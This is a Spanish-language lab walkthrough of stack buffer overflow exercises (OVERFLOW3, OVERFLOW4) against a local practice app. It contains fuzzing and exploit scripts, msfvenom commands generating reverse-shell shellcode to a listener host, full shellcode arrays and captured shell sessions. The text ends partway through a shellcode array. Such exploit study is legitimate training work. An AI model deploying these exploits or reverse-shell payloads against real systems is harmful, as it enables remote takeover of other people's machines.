unsigned char buf[]="\xfc\xbb\x2d\x12\x80\x28\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3""\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xd1\xfa\x02\x28\x29""\xfb\x62\xa0\xcc\xca\xa2\xd6\x85\x7d\x13\x9c\xcb\x71\xd8\xf0""\xff\x02\xac\xdc\xf0\xa3\x1b\x3b\x3f\x33\x37\x7f\x5e\xb7\x4a""\xac\x80\x86\x84\xa1\xc1\xcf\xf9\x48\x93\x98\x76\xfe\x03\xac""\xc3\xc3\xa8\xfe\xc2\x43\x4d\xb6\xe5\x62\xc0\xcc\xbf\xa4\xe3""\x01\xb4\xec\xfb\x46\xf1\xa7\x70\xbc\x8d\x39\x50\x8c\x6e\x95""\x9d\x20\x9d\xe7\xda\x87\x7e\x92\x12\xf4\x03\xa5\xe1\x86\xdf""\x20\xf1\x21\xab\x93\xdd\xd0\x78\x45\x96\xdf\x35\x01\xf0\xc3""\xc8\xc6\x8b\xf8\x41\xe9\x5b\x89\x12\xce\x7f\xd1\xc1\x6f\x26""\xbf\xa4\x90\x38\x60\x18\x35\x33\x8d\x4d\x44\x1e\xda\xa2\x65""\xa0\x1a\xad\xfe\xd3\x28\x72\x55\x7b\x01\xfb\x73\x7c\x66\xd6""\xc4\x12\x99\xd9\x34\x3b\x5e\x8d\x64\x53\x77\xae\xee\xa3\x78""\x7b\xa0\xf3\xd6\xd4\x01\xa3\x96\x84\xe9\xa9\x18\xfa\x0a\xd2""\xf2\x93\xa1\x29\x95\x5b\x9d\x27\x64\x34\xdc\x47\x63\xfe\x69""\xa1\x01\xee\x3f\x7a\xbe\x97\x65\xf0\x5f\x57\xb0\x7d\x5f\xd3""\x37\x82\x2e\x14\x3d\x90\xc7\xd4\x08\xca\x4e\xea\xa6\x62\x0c""\x79\x2d\x72\x5b\x62\xfa\x25\x0c\x54\xf3\xa3\xa0\xcf\xad\xd1""\x38\x89\x96\x51\xe7\x6a\x18\x58\x6a\xd6\x3e\x4a\xb2\xd7\x7a""\x3e\x6a\x8e\xd4\xe8\xcc\x78\x97\x42\x87\xd7\x71\x02\x5e\x14""\x42\x54\x5f\x71\x34\xb8\xee\x2c\x01\xc7\xdf\xb8\x85\xb0\x3d""\x59\x69\x6b\x86\x79\x88\xb9\xf3\x11\x15\x28\xbe\x7f\xa6\x87""\xfd\x79\x25\x2d\x7e\x7e\x35\x44\x7b\x3a\xf1\xb5\xf1\x53\x94""\xb9\xa6\x54\xbd\xb9\x48\xab\x3e"
Agregamos nuestra shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (1150).
➜ OVERFLOW_2 nc -lnvp 1338Listening on 0.0.0.0 1338Connection received on 192.168.22.128 49224Microsoft Windows [Versin 6.1.7601]Copyright (c)2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull
C:\Users\sckull\Desktop\vulnerable-apps\oscp>
Overflow 3
Fuzzing
Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW3.
#!/usr/bin/python2.7importsocket,sysfrompwnimport*fromstructimportpackiflen(sys.argv)!=2:print("[*] Run:\n\toscp1.py <IP-address>")sys.exit(1)address=sys.argv[1]port=1337buff=["A"]c=100whilelen(buff)<30:buff.append("A"*c)c+=100p1=log.progress("Progreso")forstringinbuff:try:p1.status("Enviando %s bytes."%len(string))s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW3 %s\r\n"%string)s.close()#log.info("x_x socket.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo con %s bytes."%len(string))sys.exit(1)
Encontramos que el programa se detuvo con 1400 bytes.
1
2
3
4
➜ OVERFLOW_3 ./overflow3.py 192.168.22.128
[\] Progreso: Enviando 1400 bytes.
[-] Parece que el programa se detuvo con 1400 bytes.
➜ OVERFLOW_3
Observamos que el registro EIP se sobreescribió con “A"s, tambien vemos el registro ESP con los mismos valores.
Offset EIP
Creamos un patron de 1600 bytes utilizando pattern_create.rb, modificamos el script para realizar el envio de este.
El registro EIP lleno con el patron enviado asi mismo el registro ESP.
Mona nos muestra el offset con valor de 1274 bytes.
1
2
3
4
5
6
7
8
!mona findmsp -distance 1600[+] Looking for cyclic pattern in memory
[..][+] Examining registers
EIP contains normal pattern : 0x35714234 (offset 1274) ESP (0x017cfa30) points at offset 1278 in normal pattern (length 322) EBP contains normal pattern : 0x71423371 (offset 1270) EBX contains normal pattern : 0x42327142 (offset 1266)
Control EIP
Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1600).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eip_ret="B" * 4nops=""padding="C"buff="A" * 1274 + eip_ret + padding * (1600-1274-4)# junk 1274, eip 4, padding 322 = 1600try:
log.info("Realizando conexion.")s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect= s.connect((address, port))data= s.recv(1024) s.send("OVERFLOW3 %s\r\n" % buff) s.close() log.info("Conexion Finalizada.")except Exception as e:
#print(e) log.failure("Parece que el programa se detuvo.") sys.exit(1)
Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
Espacio - Shellcode
Aumentamos el padding a 150 para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 150 bytes adicionales, en total tendríamos 472 bytes disponibles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1274+eip_ret+nops+padding*(1600-1274-4-16+150)# 472 padding# 1274 junk, 4 eip_ret, padding 472 (shellcode + nops)# total buffer = 1750try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW3 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 1750 bytes de los cuales 472 bytes serán para el shellcode y los nops (16 bytes).
BadChars
Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).
1
!mona bytearray -cpb "\x00"
Modificamos el script con nuestro array de badchars.
badchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1274+eip_ret+nops+badchars+padding*(1750-1274-4-255)# 255 badcharstry:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW3 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x01\x11\x40\x5f\xb8\xee" pero el valor \x01 no es uno de ellos tras verificarlo con un nuevo array.
1
!mona bytearray -cpb "\x00\x11\x40\x5f\xb8\xee"
JMP ESP
Nuevamente como en el anterior ejercicio buscamos una instrucción de salto al ESP con mona.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x11\x40\x5f\xb8\xee"130 ⨯
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with Encoding failed due to a bad character (index=20, char=0xee)Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=275, char=0x11)Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with Encoding failed due to a bad character (index=4, char=0xee)Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353(iteration=0)x86/jmp_call_additive chosen with final size 353Payload size: 353 bytes
Final size of c file: 1508 bytes
unsigned char buf[]="\xfc\xbb\x24\x55\xde\xf6\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3""\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xd8\xbd\x5c\xf6\x20""\x3e\x01\x7e\xc5\x0f\x01\xe4\x8e\x20\xb1\x6e\xc2\xcc\x3a\x22""\xf6\x47\x4e\xeb\xf9\xe0\xe5\xcd\x34\xf0\x56\x2d\x57\x72\xa5""\x62\xb7\x4b\x66\x77\xb6\x8c\x9b\x7a\xea\x45\xd7\x29\x1a\xe1""\xad\xf1\x91\xb9\x20\x72\x46\x09\x42\x53\xd9\x01\x1d\x73\xd8""\xc6\x15\x3a\xc2\x0b\x13\xf4\x79\xff\xef\x07\xab\x31\x0f\xab""\x92\xfd\xe2\xb5\xd3\x3a\x1d\xc0\x2d\x39\xa0\xd3\xea\x43\x7e""\x51\xe8\xe4\xf5\xc1\xd4\x15\xd9\x94\x9f\x1a\x96\xd3\xc7\x3e""\x29\x37\x7c\x3a\xa2\xb6\x52\xca\xf0\x9c\x76\x96\xa3\xbd\x2f""\x72\x05\xc1\x2f\xdd\xfa\x67\x24\xf0\xef\x15\x67\x9d\xdc\x17""\x97\x5d\x4b\x2f\xe4\x6f\xd4\x9b\x62\xdc\x9d\x05\x75\x23\xb4""\xf2\xe9\xda\x37\x03\x20\x19\x63\x53\x5a\x88\x0c\x38\x9a\x35""\xd9\xef\xca\x99\xb2\x4f\xba\x59\x63\x38\xd0\x55\x5c\x58\xdb""\xbf\xf5\xf3\x26\x28\x3a\xab\x3e\xa9\xd2\xae\x3e\xac\x18\x26""\xd8\xc4\x4c\x6e\x73\x71\xf4\x2b\x0f\xe0\xf9\xe1\x6a\x22\x71""\x06\x8b\xed\x72\x63\x9f\x9a\x72\x3e\xfd\x0d\x8c\x94\x69\xd1""\x1f\x73\x69\x9c\x03\x2c\x3e\xc9\xf2\x25\xaa\xe7\xad\x9f\xc8""\xf5\x28\xe7\x48\x22\x89\xe6\x51\xa7\xb5\xcc\x41\x71\x35\x49""\x35\x2d\x60\x07\xe3\x8b\xda\xe9\x5d\x42\xb0\xa3\x09\x13\xfa""\x73\x4f\x1c\xd7\x05\xaf\xad\x8e\x53\xd0\x02\x47\x54\xa9\x7e""\xf7\x9b\x60\x3b\x17\x7e\xa0\x36\xb0\x27\x21\xfb\xdd\xd7\x9c""\x38\xd8\x5b\x14\xc1\x1f\x43\x5d\xc4\x64\xc3\x8e\xb4\xf5\xa6""\xb0\x6b\xf5\xe2\xb0\x8b\x09\x0d";
Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (1750).
shellcode=("\xfc\xbb\x24\x55\xde\xf6\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3""\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xd8\xbd\x5c\xf6\x20""\x3e\x01\x7e\xc5\x0f\x01\xe4\x8e\x20\xb1\x6e\xc2\xcc\x3a\x22""\xf6\x47\x4e\xeb\xf9\xe0\xe5\xcd\x34\xf0\x56\x2d\x57\x72\xa5""\x62\xb7\x4b\x66\x77\xb6\x8c\x9b\x7a\xea\x45\xd7\x29\x1a\xe1""\xad\xf1\x91\xb9\x20\x72\x46\x09\x42\x53\xd9\x01\x1d\x73\xd8""\xc6\x15\x3a\xc2\x0b\x13\xf4\x79\xff\xef\x07\xab\x31\x0f\xab""\x92\xfd\xe2\xb5\xd3\x3a\x1d\xc0\x2d\x39\xa0\xd3\xea\x43\x7e""\x51\xe8\xe4\xf5\xc1\xd4\x15\xd9\x94\x9f\x1a\x96\xd3\xc7\x3e""\x29\x37\x7c\x3a\xa2\xb6\x52\xca\xf0\x9c\x76\x96\xa3\xbd\x2f""\x72\x05\xc1\x2f\xdd\xfa\x67\x24\xf0\xef\x15\x67\x9d\xdc\x17""\x97\x5d\x4b\x2f\xe4\x6f\xd4\x9b\x62\xdc\x9d\x05\x75\x23\xb4""\xf2\xe9\xda\x37\x03\x20\x19\x63\x53\x5a\x88\x0c\x38\x9a\x35""\xd9\xef\xca\x99\xb2\x4f\xba\x59\x63\x38\xd0\x55\x5c\x58\xdb""\xbf\xf5\xf3\x26\x28\x3a\xab\x3e\xa9\xd2\xae\x3e\xac\x18\x26""\xd8\xc4\x4c\x6e\x73\x71\xf4\x2b\x0f\xe0\xf9\xe1\x6a\x22\x71""\x06\x8b\xed\x72\x63\x9f\x9a\x72\x3e\xfd\x0d\x8c\x94\x69\xd1""\x1f\x73\x69\x9c\x03\x2c\x3e\xc9\xf2\x25\xaa\xe7\xad\x9f\xc8""\xf5\x28\xe7\x48\x22\x89\xe6\x51\xa7\xb5\xcc\x41\x71\x35\x49""\x35\x2d\x60\x07\xe3\x8b\xda\xe9\x5d\x42\xb0\xa3\x09\x13\xfa""\x73\x4f\x1c\xd7\x05\xaf\xad\x8e\x53\xd0\x02\x47\x54\xa9\x7e""\xf7\x9b\x60\x3b\x17\x7e\xa0\x36\xb0\x27\x21\xfb\xdd\xd7\x9c""\x38\xd8\x5b\x14\xc1\x1f\x43\x5d\xc4\x64\xc3\x8e\xb4\xf5\xa6""\xb0\x6b\xf5\xe2\xb0\x8b\x09\x0d")eip_ret=pack("<L",0x62501203)nops="\x90"*16padding="C"buff="A"*1274+eip_ret+nops+shellcode+padding*(1750-1274-4-16-353)try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW3 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script logramos obtener una shell.
1
2
3
4
5
6
7
8
9
10
11
➜ OVERFLOW_3 nc -lvnp 1338Listening on 0.0.0.0 1338Connection received on 192.168.22.128 49181Microsoft Windows [Versin 6.1.7601]Copyright (c)2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull
C:\Users\sckull\Desktop\vulnerable-apps\oscp>
Overflow 4
Fuzzing
Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW4.
Modificamos el script para realizar el envio de este.
1
2
3
4
5
6
7
8
9
10
11
12
13
buff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW4 %s\r\n"%buff)s.close()#log.info("x_x socket.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")
El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
Mona nos muestra el offset con valor de 2026 bytes.
1
2
3
4
5
6
7
8
9
10
11
# !mona findmsp -distance 2500[+] Command used:
!mona findmsp -distance 2500[+] Looking for cyclic pattern in memory
[..][+] Examining registers
EIP contains normal pattern : 0x70433570 (offset 2026) ESP (0x0181fa30) points at offset 2030 in normal pattern (length 470) EBP contains normal pattern : 0x43347043 (offset 2022) EBX contains normal pattern : 0x33704332 (offset 2018)
Control EIP
Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (2500).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eip_ret="B"*4nops=""padding="C"buff="A"*2026+eip_ret+nops+padding*(2500-2026-4)# junk 2026, eip 4, padding 470 = 2500try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW4 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
Espacio - Shellcode
Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 50 bytes adicionales, en total tendríamos 504 bytes disponibles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*2026+eip_ret+nops+padding*(2500-2026-4-16+50)# 504 padding# 2026 junk, 4 eip_ret, padding 504 (shellcode + nops)# total buffer = 2534try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW4 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 2534 bytes de los cuales 504 bytes serán para el shellcode y los nops (16 bytes).
BadChars
Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).
1
!mona bytearray -cpb "\x00"
Modificamos el script con nuestro array de badchars.
badchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*2026+eip_ret+nops+badchars+padding*(2500-2026-4-250)# 504 paddingtry:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW4 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\xa9\xcd\xd4".
1
\x00\xa9\xcd\xd4
JMP ESP
Buscamos una instrucción de salto al ESP con mona.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\xa9\xcd\xd4"127 ⨯
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351(iteration=0)x86/shikata_ga_nai chosen with final size 351Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[]="\xba\x6d\xb5\x70\xc4\xda\xc3\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1""\x52\x31\x56\x12\x03\x56\x12\x83\x83\x49\x92\x31\xa7\x5a\xd1""\xba\x57\x9b\xb6\x33\xb2\xaa\xf6\x20\xb7\x9d\xc6\x23\x95\x11""\xac\x66\x0d\xa1\xc0\xae\x22\x02\x6e\x89\x0d\x93\xc3\xe9\x0c""\x17\x1e\x3e\xee\x26\xd1\x33\xef\x6f\x0c\xb9\xbd\x38\x5a\x6c""\x51\x4c\x16\xad\xda\x1e\xb6\xb5\x3f\xd6\xb9\x94\xee\x6c\xe0""\x36\x11\xa0\x98\x7e\x09\xa5\xa5\xc9\xa2\x1d\x51\xc8\x62\x6c""\x9a\x67\x4b\x40\x69\x79\x8c\x67\x92\x0c\xe4\x9b\x2f\x17\x33""\xe1\xeb\x92\xa7\x41\x7f\x04\x03\x73\xac\xd3\xc0\x7f\x19\x97""\x8e\x63\x9c\x74\xa5\x98\x15\x7b\x69\x29\x6d\x58\xad\x71\x35""\xc1\xf4\xdf\x98\xfe\xe6\xbf\x45\x5b\x6d\x2d\x91\xd6\x2c\x3a""\x56\xdb\xce\xba\xf0\x6c\xbd\x88\x5f\xc7\x29\xa1\x28\xc1\xae""\xc6\x02\xb5\x20\x39\xad\xc6\x69\xfe\xf9\x96\x01\xd7\x81\x7c""\xd1\xd8\x57\xd2\x81\x76\x08\x93\x71\x37\xf8\x7b\x9b\xb8\x27""\x9b\xa4\x12\x40\x36\x5f\xf5\xaf\x6f\x49\